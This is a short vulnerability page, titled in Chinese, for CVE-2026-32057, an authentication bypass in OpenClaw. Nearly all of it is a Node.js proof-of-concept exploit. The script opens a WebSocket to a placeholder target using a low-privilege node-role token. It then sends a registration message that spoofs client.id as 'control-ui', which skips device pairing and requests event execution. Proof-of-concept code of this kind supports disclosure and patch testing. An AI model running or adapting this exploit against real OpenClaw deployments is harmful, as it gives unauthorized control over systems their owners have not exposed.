CVE-2026-32057 OpenClaw认证绕过漏洞

// Proof of Concept for CVE-2026-32057 // This script demonstrates how an authenticated node role websocket client // can bypass the pairing mechanism by setting client.id to "control-ui". const WebSocket = require('ws'); // Target URL of the vulnerable OpenClaw instance const targetUrl = 'ws://target-openclaw-instance:8080/ws'; // A valid token for a low-privilege authenticated node role client const authToken = 'VALID_NODE_ROLE_TOKEN'; const ws = new WebSocket(targetUrl, { headers: { 'Authorization': authToken } }); ws.on('open', function open() { console.log('[*] WebSocket connection established.'); // Exploit Payload: Construct a message claiming to be the control-ui // The system trusts this ID and skips device identity verification const payload = { action: 'register', client: { id: 'control-ui' // Vulnerable parameter: bypasses pairing }, request: { flow: 'execute_event' } }; ws.send(JSON.stringify(payload)); console.log('[*] Exploit payload sent: client.id set to control-ui'); console.log('[*] If successful, pairing requirements are bypassed.'); }); ws.on('message', function message(data) { console.log('[+] Server response:', data.toString()); }); ws.on('error', function error(err) { console.error('[-] WebSocket error:', err); });